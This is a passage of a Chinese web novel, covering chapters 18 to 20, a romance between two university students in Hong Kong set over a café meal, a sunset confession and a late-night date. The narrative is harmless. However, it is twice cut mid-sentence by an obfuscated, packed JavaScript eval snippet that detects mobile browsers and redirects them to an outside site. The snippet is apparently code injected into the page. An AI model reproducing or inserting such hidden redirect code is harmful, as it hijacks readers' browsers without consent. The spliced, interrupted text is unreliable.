小初瞪大眼睛看过去。 那张照片里的余萧弋大概十岁左右,仔细一看和现在还是像的。 他身边还站着个更小的小男孩,除了他们俩,旁边还有三个大人,两个年纪偏长的,看着像一对夫妻,还有个美丽而张扬的年轻女孩,几个人长得倒不十分像,却有个共同的特点,那就是看着都很贵气。 “这两个人是?”小初指了指那两个年纪大的。 店家说:“不就是……” 却被余萧弋打断,“我爷爷奶奶。” 伙计把他们的餐食送了上来。 店主弯起眼睛:“那你们慢慢食,有事喊我就好。”然后就离开了他们的座位。 余萧弋点头。 小初说:“你奶奶气质真好。”又问,“这个小男孩是?” “我弟弟,余萧泽。” 小初呆住,“你还有弟弟呢?”她在北京的同学大多数都独生子女,她好像很少听说谁有兄弟姐妹,叶子瑜那种重组家庭的除外。 “不止有弟弟,还有个妹妹,不过那时候她还小,没一块来。” “哈?” 小初不知道说什么了,只低头默默喝了口冻奶茶。 奶茶的味道还不错。 余萧弋说:“怎么不说话。” “我在消化信息。”小初咬住吸管。 “意外吗?” “还好。”小初笑笑:“你们这边的传统观念好像是会更重一些。” 余萧弋说:“照片里还有的那个人,就是我姑姑余蓁蓁。” “是吗?”小初转过头去又看了一眼,发现对方那时候还太年轻,并不怎么符合她想象中的猫眼贵妇的形象,反而更像个不谙世事的大小姐。 “她很漂亮。” “我还另有一个姑姑和两个叔叔,不过那个姑姑已经嫁去了美国,两个叔叔其中一个还没结婚,我爸爸是我爷爷奶奶的长子。” 小初依旧无意识地咬着那根吸管。 她突然发现,她和他其实是在截然不同的两种文化背景中长大的,这样的两个人,真的有成为比朋友更进一步关系的可能吗? “方太初,我已经说完了我的,你是不是也该说说你?” “我?” 余萧弋的眼神逐渐深邃,“对啊,比如,那天开迈巴赫来学校接你的那个有钱男人,他是谁?” 小初倏地看向他。 他这是在和她交换隐私信息吗? 可她有同意吗? 在她想好怎么回答之前,他已再次开口,“方太初,我想跟你说的是,离开他,无论他是谁,无论你不喜欢我。” “???” 小初差点失手将菠萝包按在他的头上。 18. 第 18 章 方太初几乎没被气死。 但她更气的那个人是她自己。 她一万次问她自己,为什么那天非要把心底对余萧弋和Rebecca之间可能存在不正当关系的疑问挑到明面上来,导致她此刻如此被动,连气急败坏骂对方一句“狗眼看人低”都不能。 她是个讲原则和逻辑的人,总不能她可以误会人家,人家就不能误会她吧,她又没比人家哪里更加神圣不可污蔑。 然后她又仔细回想了一下那天她从宿舍楼里出来扑向她爸怀里的情景,以及她环顾四周时那个模模糊糊的熟悉身影,难道就是他? 他还真是闲得不行,世界那么大,他眼界就不能开阔一点吗?干嘛非得盯着她? “怎样?”余萧弋见她半天不说话,脸色瞬息万变的,也有些后悔自己的冒失,但事已至此,他也管不了那么多了,“方太初,我是不是伤你自尊心了?” 小初吸着冻奶茶,就那么抬眸看了他一眼。 眼睛还是那双好看的眼睛,双眼皮深邃,睫毛纤长,眼尾微微上扬,清冷又不失少女的天真。 只是此刻,只剩下冷,天真不翼而飞,余萧弋心头一紧,感觉自己像中了什么毒箭。 “不怎样。”小初放开吸管,“你等我吃完这个黑松露蛋多士。” 余萧弋长舒一口气,“嗯,这个是要趁热吃才好吃。” 小初又接着说:“吃完了我才有力气揍你。” “……”余萧弋咬咬唇。 接下来两个人都没再说话,各自将自己盘子里的食物吃了个七七八八。 小初擦了擦嘴,然后才问:“你看见那男人的脸了吗?” “没,当时距离很远,只看见他个子挺高的,都能把你挂在他脖子上。” 小初呼吸一滞,然后又淡淡地说:“那真是遗憾,其实你要是看见他的脸,就不会劝我离开他了。” 余萧弋问:“为什么?” “因为他长得帅啊,正如你所见他还开迈巴赫。这么一个优质男,也不是街上随便一个女生都遇得到的吧,作为我朋友,你不为我高兴就算了,还要劝我跟钱过不去?你明明知道我最爱钱的,做梦都想发财。” 小初说完就开始欣赏他精彩的表情。 开玩笑,她一个十三四岁就能把她爸吓得不敢随便干涉她私生活的人,还要二十岁主动把自己交给一个陌生人吗? 他以为他是谁啊? 但她最生气的部分还是,他竟然如此看轻她。 在她一次次不计前嫌地给他机会,在他总应该对她的为人有一定了解之后,还能说出这番话来,说明他不是蠢就是…… 他就是蠢。 而蠢人是不需要得到怜惜的。 “你爱钱当然没有错……可是,那个男人很老。你还这么青春美好,老男人不值得你拿自己献祭。” 小初说:“不是你教我不要以结果论的吗?在那之前我本来还有点纠结,后来我也想开了,等哪天黎曼猜想被数学界严格证明之后我再收手好了,到那时候我估计我也财富自由了。” 余萧弋不说话了。 小初在心里送了他一个白眼,看了眼他面前还没有吃完的食物,故作没心没肺地问他:“怎么样,通心粉好吃吗?” “好吃。” 虽然他根本没尝出什么味道来。 “那你慢慢吃。我还有事,我就先走了。”小初站起身来。 “等下。”错身的瞬间,余萧弋抓住她的手腕,“我还有话对你说。” 矮胖店主见两人要走,赶紧迎上来再打招呼,“余少,这么快就走啦?” 话还未说完,店门一开一合,人已经不见了。 伙计凑上前来,意味深长地小声问:“事头,他竟找了个大陆妹做女朋友?玩玩而已的吧?” 却被店主骂道:“做你的事,少八卦。” 两人来到大街上,外面已接近热闹的黄昏。 可小初却只觉心情烦闷,人声嘈杂,手腕上传来的他掌心的温度更让她无所适从,只觉得很冒犯。 “你松开。”小初语气有些冷,“说话就说话,拉拉扯扯干什么?” 余萧弋说:“从这里再往南走不到两千米,就可以走到海边,刚好可以赶上一场日落。” 小初讥诮:“日落适合我和你一块看吗?毕竟我这么爱慕虚荣。” 他笑:“爱慕虚荣也是生命力旺盛的一种表现,你要是不爱钱,我才担心呢。” 小初反应了一下没太明白,“什么意思?” “到海边再说。” 小初说:“你先放开手,我再考虑。” 余萧弋仍不放心,怀疑地看向她:“你得先保证我放开手你不跑,毕竟……”他挑了挑眉,“你身手那么矫捷,我是真的怕我追不上。” 小初冷哼一声:“你更应该担心的是,二十分钟后会不会被我推到海里去。” “推到海里你会救我吗?” “你一个世锦赛预备役的选手,还要我救吗?到时候你就一路游到绮丽去,让你姑姑把你那群狐朋狗友都邀请过来,齐齐欣赏一下你的泳姿。” 余萧弋咬咬牙,但到底还是放开了手。 小初倒有点好奇他还能有点什么高见,索性也就没跑,慢悠悠跟在了他身边。 两人一路向南。 等她意识过来两人几乎和拍拖的小情侣无异逛完了一整条街的时候,他们已经走到海边了。 不远处就是本地一处著名的景点,小初嫌吵,提议再往人少的地方走一走。 余萧弋点头。 小初问他:“所以你到底要和我说什么?” 余萧弋说:“我怕问了你生气。” 小初斜睨了他一眼,“你要是今天还有让我更生气的本事,我只会佩服你。” “事关叶子瑜。” 小初皱起眉来。 他还真有点本事。 “你来香港,不是来找叶子瑜的吗?那,那位男士又是你什么时候认识的,他知道这件事吗?” 小初现在反而平静下来。 身边不断有游客从他们身边经过,一个个神情兴奋。她知道,那边有条叫星光大道的步行街上有很多明星的手掌印,她小时候来的时候根本不认识那些人是谁,所以整个过程兴趣寥寥,一直缠着她妈妈帮她买一个铁板鱿鱼。 铁板鱿鱼哪都有,她偏偏要来香港买。 长大后的她仍旧对他爸妈那一代年轻时才为之疯狂的港台明星无感,所以更加兴趣寥寥,而现在,她甚至连铁板鱿鱼都不想吃了。 来了香港一个月,她大多时间都是一个人奔波在大小教室图书馆和食堂餐厅之间,每天早晚来去匆匆爬坡赶地铁,很少停下来和人交谈。 她粤语不太好,但看繁体字没有问题,除此之外她英文不赖,所以生活上还算顺畅。 这样的独处难能可贵,余萧弋却偏来招惹她。 可她只能在这里待半年,就算再怎么情难自抑,半年之后,她又该拿他怎么办呢。 铁板鱿鱼明明哪里都有。 她又对港风无感。 “那位男士我当然很久之前就认识了,叶子瑜他也是知道的。但我要提醒你一点,我来香港可不是为了他,你也是Smith的学生,应该对我这个课程的设置很清楚吧?我对Smith的学术成就仰慕已久,论文能同时得到两位重量级人物的指导,换你,你不心动吗?” 余萧弋抿抿唇,承认:“是我狭隘了。” 小初看他一眼,算是默认。 他又问:“那你毕业后真的不打算出去深造吗?” 小初反问:“那你呢?” “我?”余萧弋叹口气,像是下定某种决心,坦诚道:“我大概是要去的。” 小初不知怎的心头一刺,但面上还算从容,“几时?” “明年。” “去哪个国家?” “美国。” “读什么?” “金融和经济管理双学位这样吧。” 小初想了想,点头道:“数学转金融确实比较好上手的。” 余萧弋笑笑:“也是没办法的,都是家里一早就规划好的,能让我在国内读多一个硕士,已经算是破例,还是因为我从小成绩比较好,一路跳级过来,到现在也不算太迟。你知道的,我们这边小孩子很多十一二岁就被家里送出去了,英国读一下,再去美国,二十几岁学历,视野和人脉全部到手,再返港或是创业或是接手家里生意。” 小初问:“那你为什么不十一二岁就出去。” 余萧弋笑:“我妈妈怕我们太小出去会变得不辨是非。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309764|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 小初有些意外:“你妈妈考虑得还挺周到。” “所以,我才到现在还没有钱花啊。十八岁就被她从家里赶出来独立生活,生活费被严格限制,偶尔有额外的自我需求,还要打打工。” 小初摆手:“不要再说下去了,我没钱借给男人的。” 余萧弋快被她气死,没好气地戳了戳她的额头,“你还不明白我在说什么?” “不太明白。” 余萧弋叹口气:“我想问问,你要不要和我一块出去?” 小初愣住。 彼时一轮橘色的太阳已经落到海面上,送给人间一片橘子海。 “你跟我一块出去吧,不出三年,等我毕业,咱们就有钱了,到时候我给你买迈巴赫。跟那个男人比,我年轻,还好看,身高也足够你挂在我脖子上荡秋千。” 余萧弋的神情极为认真,认真到小初甚至忽略掉了他刚才那番话里面的离谱。 她有点彷徨。 海边好多人都在用手机拍落日。 眼前的男孩穿着白色的休闲衬衫,柔顺而有光泽的额发低垂着,满身干净的少年之气。 这样的画面,让小初仿佛置身于一部南国旧电影,海风吹过来,她的头发轻轻地飘着。 “太阳要落下去了。”她转而言它。 “是。” 小初踮起脚,试图让视线越过前面人的头顶。 却忽觉腰间被人握住,下一秒,她就如翩跹的蝴蝶一样坐到路边一个还有点高度的大理石台面上去了。 她被吓了一跳,最主要她实在没想到他还有这样的臂力。 余萧弋也跃了上来,坐在她旁边。 两人看着同一片橘子海。 小初本不想破坏这样的气氛,但她还是坦诚说道:“对不起啊Theo余,我不能跟你一块出去,因为我读的是3+2+3的本硕博贯通培养的课程,我要在我们学校读到我的二十四岁,这个路线,也是我十六岁之前就被规划好的,不会再有什么改变。” 余萧弋抿抿唇,突然问她:“那四年之后呢?” “什么?” “四年之后你会在哪里?” “我会留在北京,当然,也可能短暂因工作需要去哪个城市两年,但最后,我一定还是会回到北京,我跟你说了,我是我爸妈的独生女,我得撑起一切。” “你想过结婚吗?” 小初的脸被阳光映成一片橙色,从而掩盖了她皮肤上本来泛起的热,“我才二十岁,为什么要想那么久远的事?” “其实也不远了,你想和一个人结婚,从认识到确认关系需要时间,然后还要相处至少三年看看对方适不适合长期在一起生活,万一不合适,结束一段关系再重新开始,不仅要浪费很多时间,还不能保证一定还能遇上那个让你有勇气走进婚姻的人。你是学数学的,难道会随遇而安?” 小初感觉自己有那么一瞬间好像被谁洗脑了。 然后就听见他说:“你要不要考察考察我?我觉得咱们俩,还挺适合长期在一块生活的。” “何以见得啊余同学?”小初有些无语。 “首先,我聪明,你自己这么优秀,肯定不会喜欢身边天天晃悠一个傻瓜吧?” 小初送他一个白眼,“还有呢?” “其次呢,从你选那个男人的品味来说,你喜欢帅哥,我总算还勉强能达到你的审美要求吧?” 小初冷笑:“这你就大错特错了。” “还有最重要的一点,你喜欢钱,而我在你想结婚之前,肯定已经有钱了。” 小初实在忍无可忍,双手扶住他的脸强制让他看向海上的太阳:“不要再说话了好吗?太阳快要落下去了。” 她掌心的柔软让余萧弋有瞬间的迷失。 不远处有歌手在唱歌。 周柏豪的《lovin'' you》。 我只会知我不可以待你差 寒冬变身炎夏石头化风沙 我都会等令你心有日软化 I''m loving you我就算辛苦 也不苦 I''m loving you空等也不顾 I''m loving you I love you,I love you, I love you 19. 第 19 章 方太初从不知短短一个夏天可以发生这么多事。 本来停滞不前的日子仿佛突然被谁按下了快进键,再睁眼,等待她的已是一个充满未知和挑战的美丽新世界。 人真是复杂的情感动物,就在一个月之前,她还在为另一个人患得患失,而现在,她的心似乎已在不知不觉中被眼前的男孩填满,再没有余力怀念过去。 旧的困扰迎刃而解,新的困扰却来势汹汹,她完全不知道该拿他怎么办,又该拿这段感情怎么办。 她明知两个人认识的时间太短,对彼此根本还谈不上了解,更不要说她很快就会离开这里,而他一年后也要去异国求学。 人与人之间的情感得浓烈到什么程度,才能不被几年的分离冲淡? 再之后呢? 若要求一个好的结果,肯定还是有一个人要妥协去另外一个人的城市生活,她不愿意也不能离开北京,他难道就不是在自己根植的土壤才会发展得更好吗? 他们都是现实世界里活生生的人,不是童话世界里的王子和公主,甜蜜一吻就可以以“他们将永远幸福地生活在一起”作为完美结局,后续的争吵,矛盾,柴米油盐所带来的琐碎和无聊全部一笔带过。 她明知道,她什么都知道。 可依然控制不住此刻的怦然心动,整个人已融化在夕阳的体温里,心跳声淹没了汹涌的人潮。 整个世界只剩下一个他。 他的眼睛生的真好看,可见他妈妈当年靓绝松花江并非妄言。 和小说里常常形容男主的那种薄唇不同,他的唇珠很明显,唇形立体感十足,迷人中又带着一点俏皮。 看着就…… “想亲吗?”余萧弋突然开口,声音低沉而蛊惑。 小初这才意识到自己还捧着他的脸,她不敢相信能做出此等没边界感事情的人会是她,恍如梦醒般慌乱撤开手,并别过头去。 假装去看远处的风景。 “方太初,你好像并不仅仅是不讨厌我。” 余萧弋歪头看向她,眼底含着笑,无比自信和笃定,像是自己真有看穿别人心事的本事似的。 “少自恋。”小初瞪他一眼,有些无地自容,“我要回去了。” “等下。”余萧弋挡住她,“我刚刚说的话你还没给我答案。” 小初这次没有直接拒绝,只说:“你容我好好想想。” “想什么?” “想想你值不值得我打乱我未来好多年的规划。” 余萧弋露出一个了然的神色,唇角的笑容越来越盛,“才看我一眼,就已经想到未来好多年的事了啊?” 小初看向他,反问:“难道你只是一时兴起吗?” 余萧弋的笑容凝住。 马上澄清:“当然不是。” 小初又问:“你之前谈过几个女朋友?” 余萧弋说:“幼稚园那种手拉手一起吃果果的就不能算了吧?” 小初轻盈地从大理石台面上一跃而下,转身就走,“不想回答就算了。” 余萧弋追上来,解释道:“没有不想回答,只是怕答了会在你心里减分。” 小初蹙了蹙眉,“所以,你谈过很多?余萧弋,我方太初是个做什么事都很认真的人,你最好想清楚,我可不是能随便给你拿来消遣的便利贴女友,任你想要就要,不想要了就撕掉扔进垃圾桶。” 太阳已经跃入地平线之下,街上都是逛街的小情侣,每一对脸上都是甜蜜的笑容,与他们擦身而过的女孩把喝不完的奶茶递给男友,撒着娇让他帮她喝。 男生一脸无奈,嘴上说着:“小姐,我以后出门都不要点东西好了,总这样吃双份迟早变成肥仔。”动作上却毫不犹豫,一手接过奶茶,一手揽住女朋友的腰,两人迈着一致的步调,慢慢走远。 所有人的幸福都是那么平凡而具体,只有她方太初,在二十岁的年纪就开始为未来可能发生的风险忧心忡忡。 有时候她也觉得这样的自己很无趣。 “我要是对你说我没有谈过……”余萧弋有些难为情,“你会不会觉得我很没有魅力?” 小初怔住,继而难以置信地瞪他一眼:“你是不是已经开始消遣我了?” 他会没谈过? 她就没见过几个比他还热烈大胆又擅长在别人心上抛锚的人了,她的心都快被他勾乱了,他倒跟她装起纯情来了? “真没有!”余萧弋神色认真,“因为我觉得恋爱是人与人之间一种比较深刻的交往,不是随便谁都可以的。我同意你刚才的说法,我也不想要便利贴似的爱情,身边太多人来来去去,人会混沌和麻木的,这是对自己的不负责,也是对别人的不负责。” 小初对此不置可否。 两人并肩走下地铁站,从这里回学校,只有几站的距离,用不了太多时间。 夜色已降临,街道两旁霓虹开始闪烁,将二人都融进这座城市的脉络中。 小初第一次觉得,香港和北京,其实也没有那么大区别。都是一样的高楼大厦车水马龙,都是一样满大街为生活奔波的人,从烟火中走来,又归于烟火。 晚高峰时段的地铁有些拥挤,他们没有往里面走。车厢接驳处摇摇晃晃,两人贴得太近,近得两人只好各自回避目光,虚虚看向车厢上的贴纸广告。 某个换乘站上下车的乘客太多,混乱中小初险些跌倒,下一秒左手已被某人握在掌心,那个被包裹的感觉让她一阵眩晕,接着就是浑身血液在极速倒流的失控感,她倏地抬起头来。 “借你用一下。”余萧弋话说得不经意,事实上呼吸已经急促到乱了他说话的节奏,很多事情来不及细想,就已经自然而然地发生了。 小初也不知道自己为什么没有甩开他。 不仅没甩开,还就那样任他牵着她下了地铁,又走了足足有十分钟,才到她们宿舍楼下。 刚爬完坡的两个人都有些轻微的喘息,掌心肌肤相接处温热而潮湿,已经分不清是谁紧张更多,流了太多手汗。 “我走了。”小初看了眼楼上的方向。 “嗯。” 话虽这么说,她却没有迈步。 他也没有松手。 两人就这么僵了一会儿,小初才想起来问他:“你住得远不远,从我这边再折腾回去会不会很麻烦?” 他答:“远是不远,不过今天是我们家的Family Day,我要赶回去吃饭。” 小初惊住:“那你不早说!” 余萧弋笑:“也是才想起来。” 小初催促他:“那你赶快回去吧。” 余萧弋却说:“又到晚饭时间了,你饿不饿,不然我陪你吃了饭再回去好了,反正我家离这边也只有八公里,乘计程车也很快的。” 小初下意识问:“这么近?” “嗯,就在山顶白加道,那边风景和视野都很不错,回头你去了就知道了。” 小初的着力点却不在这个上,只说:“全港可以看风景的地方那么多,谁要去你家看?” 余萧弋但笑不语。 台阶另一头的小情侣开始肆无忌惮地接吻,气氛有点尴尬,小初不敢多看,只迅速说了句拜拜就抽回自己的手跑上了楼。 原本吵得人头疼的宿舍楼今天不知为何非常安静,只有林佳宜一人正在公共厨房煮东西吃,小初不明所以,问林佳宜:“人都哪去了?” 林佳宜答:“今晚好像有high table dinner,很早他们就都出门了。” 原来有高桌晚宴。 小初心不在焉地点点头,就迅速跑回了宿舍,透过窗户向外看,他果然还站在楼下,并没有离开。 脊背顿时有些绷直,那一刻她也说不上自己心里是个什么滋味,之前好多次,和艾琳穿过宿舍楼下一对对旁若无人拥抱在一起的情侣时,她都很不以为然,“这么难舍难分,是怕明天的太阳升不起来吗?” 艾琳笑:“等回头你自己谈恋爱时候再来说这句话。” 小初信誓旦旦:“我宁可不谈恋爱。” 如今事情发生在自己头上,她才意识到有些话不能说得太早。 她打开窗户喊他名字:“余萧弋!” 他似是有些意外,大大朝她的窗口挥了挥手,又做了个打电话的动作,才慢慢沿着台阶下去了。 一直待他的身影彻底消失,小初才怔怔回身走向室内,跌坐在床上。 他的微信已经进来了。 「你平时都喜欢吃什么?我叫家里的工人姐姐做了给你带过来。」 小初轻轻挑了挑眉,「快别麻烦,被你妈妈发现你出国之前还不要脸勾搭小姑娘,肯定要把你腿打断。」 他回她:「她才顾不上我,家里两个混世大魔王,一个功课一塌糊涂,还有一个早恋得明目张胆,天天有小男生打电话到家里来,跟他们比,我已经是优等生,她要再打断我的腿,这个家恐怕真没希望了。」 小初被他逗笑:「越说越不要脸。」 余萧弋问:「你喜欢吃水饺吗?我们家有个工人姐姐内地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309765|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的,水饺做得一绝。」 小初答:「挺喜欢的,但真不用麻烦。」 他不接茬,又问:「喜欢什么馅?」 小初只好说:「除了香菇都还好。」 他发过来一个开心的表情,「好,那你等我,十点半在你宿舍楼下见。」 小初无语地回他:「我们不是刚刚分开吗?有必要这么快见面吗?再说,我还没考虑好到底要不要和你交往呢。」 他却说:「你考虑你的,考虑又不耽误吃水饺。」 小初抿抿唇,没再回他。 简单洗漱了一下,她就躺在床上拉过被子将自己埋了起来。本打算做几道证明题让自己冷静冷静的,最后也没动弹。 林佳宜端了碗面进来,见她直直看着天花板发呆,不禁问道:“太初,你怎么了?又不舒服吗?” 小初回过神来,答道:“没,就是赶飞机有点累。” 林佳宜问:“考试怎么样?” “应该问题不大。” “真厉害。”林佳宜由衷地投给她一个欣赏的目光。 小初想起一件事来,问她:“我这两天不在,还有人往咱们门上贴辱骂纸条吗?” 林佳宜凝神想了想,“你不说我还没注意,好像真的没有了哎。” 小初冷哼,“看来就是和那个Wendy朱脱不开关系。” 林佳宜说:“管她呢,以后她和我们井水不犯河水就好。” 小初不语。 林佳宜开始吃面,然后才想起她来:“倒忘记问你,你饭吃过了吗?我锅里还有多的,要不要盛一碗给你?” “不用了佳宜姐,我吃过了。” “好。”林佳宜不再打扰她,转过去点开手机里一篇医学论文,边看边吃。 小初一肚子心事不敢说给她这个不婚主义,只好发消息给远在北京的艾琳,「琳,你觉得啊,如果一个人不抵触和另一个人有身体接触,这个能算作喜欢吗?」 她原本并没有期待她能马上回她,不想那边比她这当事人还兴奋:「谁?你?你恋爱了!对方是谁?哪里人?帅吗?」 小初发了个无语的表情过去,「姐姐,你这么多问题我该先回答你哪个?」 「那就先回答,帅吗?」 小初说:「我不知道,应该算帅吧。」 她把认识那天在雨夜中给他拍的那张照片给艾琳发过去。照片里的余萧弋一身黑衣溶于夜色中,唯有一张脸氛围感十足,只是眼神有些错愕,似是根本没预料到她会拍他。 艾琳看了只发了两个字过来:「牛逼。」 小初发了一串省略号过去。 艾琳又问:「你和他怎么身体接触了,接触到什么程度了。」 小初说:「你想到哪去了,就拖拖手,拖拖手,应该不能算是确认关系吧?」 这话说出来她自己都心虚,并且开始无限后悔自己刚才怎么一路上都没有甩开他,导致她现在这么被动。 他现在一定得意坏了吧?连三年后给她买迈巴赫的承诺都不用兑现了,只勾勾手,她就沦陷了。 艾琳回:「那拖拖手肯定不能算的。」 小初长舒一口气,「是吧?」 她又回:「你最好今晚就把他睡了,彻底把这段关系坐实。」 小初几乎没把手机摔了。 「可是都不确定两个人会不会有未来,就不管不顾在一起,是不是有点轻率?」 艾琳似是终于忍不了了,「小姐,你才二十岁,干嘛谨慎得跟离过一次婚一样?二十岁不是正应该大声哭,大声笑,大声说爱,又恨得死去活来的年纪吗?你信我的,你这个年纪做这些尚且还称得上可爱,等你到了我这么大啊……就多少有点发癫的嫌疑了。这么帅个男的做初恋,委屈你了吗?」 小初把手机扔到了一边去。然后整个人就陷入了一种很不真实的漂浮感中,那种感觉让她头脑发昏,一时觉得快乐,一时又觉得难过,一时想不顾一切爱下去,一时又觉得两人是不会有结果的。 她觉得自己快被折磨疯了。 林佳宜出去洗完餐具回来见她还在床上翻来覆去,忍不住笑道:“太初,你是不是谈恋爱了?” 小初忽地坐起身来,“这么明显吗?” “明显呀。”林佳宜揶揄,“你都对着我墙上的手绘海报傻乐半天了。” “……” 小初定睛去看,才发现那海报上写的是——治不了,没救了,等死吧。 林佳宜这算什么白衣天使? 20. 第 20 章 九点半一过,宿舍楼开始地动山摇。 方太初心知是那帮参加高桌晚宴的回来了,她们这间舍堂是六间双人宿舍共用两个洗手间,为了避免人多排队,她决定先去洗澡。 洗了澡出来,她们这边的公共区域才逐渐热闹起来。她和林佳宜被分到的是本科生居多的宿舍楼,和她们做邻居的都是些大二大三的女孩子,有的和她差不多大,有的可能比她还大些。 因为有着装要求,女孩子们绿色学士袍里大多搭的都是黑色小礼服裙,再配上精致的妆容和配饰,看着极为靓丽活泼。 她们呼啦啦冲进卫生间,叽叽喳喳谈论着今天晚宴上的见闻,特邀嘉宾的演讲有多无聊,管弦乐队的表演出了几处错,餐食如何难吃,以及来参加活动的男生丑得如何惨绝人寰。 来香港这么久,这还是小初第一次感到这里的夜晚如此令人愉悦和轻松。 各个宿舍都陆续亮起了灯,唯有隔壁Wendy朱的房间安安静静,小初微不可察地挑了挑眉,猜着她应该是参加完活动又去赶第二场了。 她对她没有别的意见,更对她的私生活没有任何窥探欲,只要她不来找她麻烦,她很乐意像林佳宜说的那样,和她井水不犯河水。 回到宿舍,余萧弋的微信也进来了,他说他大概一刻钟左右到她楼下。 一刻钟不算长,但对于小初这种天生丽质的女生来说,随便收拾出个能见人的样子,倒也绰绰有余了。 只不过凭着对余萧弋浅薄的了解,她还是从衣柜找了条稍微女生气一点的裙子来,以免自己卫衣牛仔裤的样子太随意,搞砸两人真正意义上的第一次约会。 因为她判断,他肯定是会换了衣服再来的。 化妆包里两只唇釉,一只鲜艳,一只清透,这次她没有犹豫,直接选了那只玫瑰色的。 林佳宜抬起头,笑问她:“约会去呀小玫瑰?晚上还要给你留门吗?” 被人当场拆穿秘密的感觉不太好,小初嗔道:“佳宜姐,你一个不婚主义不是应该最厌男吗,怎么还打趣别人。” 林佳宜喝了口水,表情淡然:“你没听说人的信仰只能用来规训自己吗?毕竟人类的繁衍还要靠你们,你们都不谈恋爱结婚生孩子,我们做医生的拿谁开刀啊?” 小初想了想,忽然狡黠地朝她笑了笑:“佳宜姐,忘了跟你说,你那个水杯前几天进过好几只飞蚁。” 虽然,我已经帮你洗过了。 不过这句话她故意没说。 林佳宜的表情一下愣住:“臭小孩,你怎么不早说!” 在她拿她开刀之前,小初已经大笑着逃出去了。 余萧弋已在楼下。 小初没谈过恋爱,也不知道自己是该就这么下去,还是故意再拖上个十几二十分钟,以免被人家误会她想见他的心太过急切。 可她已经把林佳宜给惹毛了,退路已绝,只能一往无前了。 远远地,她就瞧见了他。 双手插袋,斜斜倚在一截栏杆上,还是白天那身衣服,发型甚至有些凌乱,除了耳朵上多了根银白色的耳机线之外,没有任何刻意扮靓的嫌疑。 小初愣住。 浪费大量时间做错题的窘迫和懊恼再次袭来,她脑子里第一反应是要不要立刻跑回宿舍去,也别管林佳宜的手术刀锋利还是不锋利,就算死也要迅速把她衣柜里平常那些衣服都翻出来,随便什么学院风休闲风还是不修边幅风,总之不让她此刻如此丢脸都行。 可是已经来不及了,他已经看见了她,并大步向她跑来。 未免输得更多,小初赶紧侧过身去,一抬手,后脑束发的黑色缎带已经被她扯了下来,随之下来的还有左耳一只小巧璀璨的钻石耳钉,但右耳那只已经没时间摘了,好在她蓬松而茂盛的头发已经全部披散了下来,刚好遮住一切。 “方太初?” 余萧弋的声音已在耳畔响起。 “嗨。”小初轻轻拢了拢头发,若无其事回身过去,“你什么时候到的,等久了吧?” “没,我也刚到。”余萧弋深邃的眼眸在月色下闪着碎芒,温柔如水般蔓延至眼角,“你今天真好看。” 小初有点招架不住他眼中的灼热,只能将目光转向别处:“今晚的月色很美,是吧?” “嗯。”余萧弋唇角的笑意越来越深,用粤语回了句,“风亦温柔。” 小初将目光落在他脸上,有些不解:“今晚有风吗?我怎么感觉很闷热,像是后半夜就要下雨的样子。” 余萧弋说:“傻瓜,你不知道今晚月色很美就是‘我爱你’的另外一种表达吗?” 小初听了立刻跟只炸了毛的猫一样跳了起来,恨不能拿党来发誓,“我真不知道!God,你可千万别误会,好吗?我要是事先知道,就让我,就让我这辈子都不能和自己喜欢的人……” 她还没语无伦次地澄清完,唇已经被他两根手指封住,耳畔的声音极淡,“别胡说。” 小初没有捕捉到他眼底一闪而过的落寞和难过,但还是适可而止地住了嘴。她只是没谈过恋爱,又不是傻,怎么会意识不到刚刚那句话很破坏气氛。 唇上传来的触感实在令人心悸,心悸到她生怕他感受到她的慌乱,只好稍稍别过头去,躲开他的指尖:“你……来找我,有什么话,快说,我明天还要上早课。” 余萧弋反而笑了出来,若无其事收回手,瞥她,“不是说了给你送水饺来了吗?” 小初也才想起这回事来:“你还真为这事跑了一趟?”然后又看了看他左右:“水饺在哪呢?” 余萧弋指了指长阶之下,“我车里呢。” 小初咬了咬唇。 余萧弋似是看出了她心里的犹豫,解释道:“保温餐盒有点不太好拿,所以就没拿上来。”他笑了笑,又说道:“还有就是我也还没吃呢,想着跟你一块吃。楼下的街心公园蛮安静的,要不要陪我下去坐坐?” 小初说:“陪你也就陪了,但我不太想喂蚊子。” 余萧弋说:“我车上有防蚊液,顺便也不怕你知道,从小到大我都是最招蚊子的那一个,有我在,蚊子肯定不咬你。” “咬你也不行啊。”小初担心地看了看长阶下面树木蓊郁的街心花园,“一会儿你也要多喷点防蚊液。说起来我真的很好奇,为什么你们这边的人看起来那么温柔,蚊子却又大又凶!我们北京的蚊子小小的,身上也没有花纹,被咬了有时候连痕迹都没有,哪像你们这边咬一下一个星期都不会恢复!” 两人并肩朝台阶下面走去。 余萧弋这才终于舒了一口气,从见面到现在她就一直在给他添堵,像防贼一样防着他,仿佛傍晚时分两人拖过手的事全是他一个人的幻觉,她的心到底什么做的,还真是钢筋水泥吗? 小初却浑然不知他在想什么,仍自顾自说着:“你为什么没吃饭?不是说好回去过家庭日的吗?” 余萧弋却对此不想多谈,只说:“光是站在那聆听教诲就已经饱了。” 小初笑:“你不是说你妈妈没空管你吗?怎么又教诲起你了?都教诲你什么?” 两人正说着,已经到了他车边。这次他终于又换回了第一次见面时他开的那辆车,小初不知怎么反而心下一软,总觉得这样的他才更接近她喜欢的那个他,比开跑车招摇过市的那个他观感上要舒服很多。 